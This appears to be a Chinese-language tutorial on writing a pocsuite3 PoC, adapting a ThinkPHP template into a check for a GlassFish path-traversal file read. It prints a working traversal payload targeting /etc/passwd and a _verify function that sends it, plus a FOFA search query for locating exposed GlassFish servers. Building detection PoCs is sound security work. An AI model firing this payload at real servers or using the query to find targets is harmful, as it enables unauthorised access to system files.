pocsuite3检测工具 编写poc
github地址:https://github.com/knownsec/Pocsuite3
![](https://upload-images.jianshu.io/upload_images/4664072-3c981a9abe39f9d7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
首先确定pocsuit的命令执行方式
verify模式为漏洞检测模式
attack模式为向目标发起有效的攻击
首先找到一个poc 进行分析源码
![](https://upload-images.jianshu.io/upload_images/4664072-17beca5f04fa68a7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
复制其源码,再原有的基础框架进行修改,首先修改检测模块
这里举例glassfish文件读取漏洞
payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
这里根据网页的返回码进行判定是否存在漏洞,若code为200,则存在该漏洞。
原thinkphp的检测模块
![](https://upload-images.jianshu.io/upload_images/4664072-724f62eec942544c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改后的
![](https://upload-images.jianshu.io/upload_images/4664072-ce4a568ecde12cac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
更改描述
![](https://upload-images.jianshu.io/upload_images/4664072-8ec24c3d871d623d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
fofa搜索:"glassfish" && port="4848"
执行命令检测
![](https://upload-images.jianshu.io/upload_images/4664072-add0ee74937548d8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改
def _verify(self): result = {} poc_url=self.url #根据原有框架获取url payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' resp = requests.get(poc_url + payload) try: if resp.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = poc_url result['VerifyInfo']['Postdata'] = payload except Exception as e: pass return self.parse_output(result)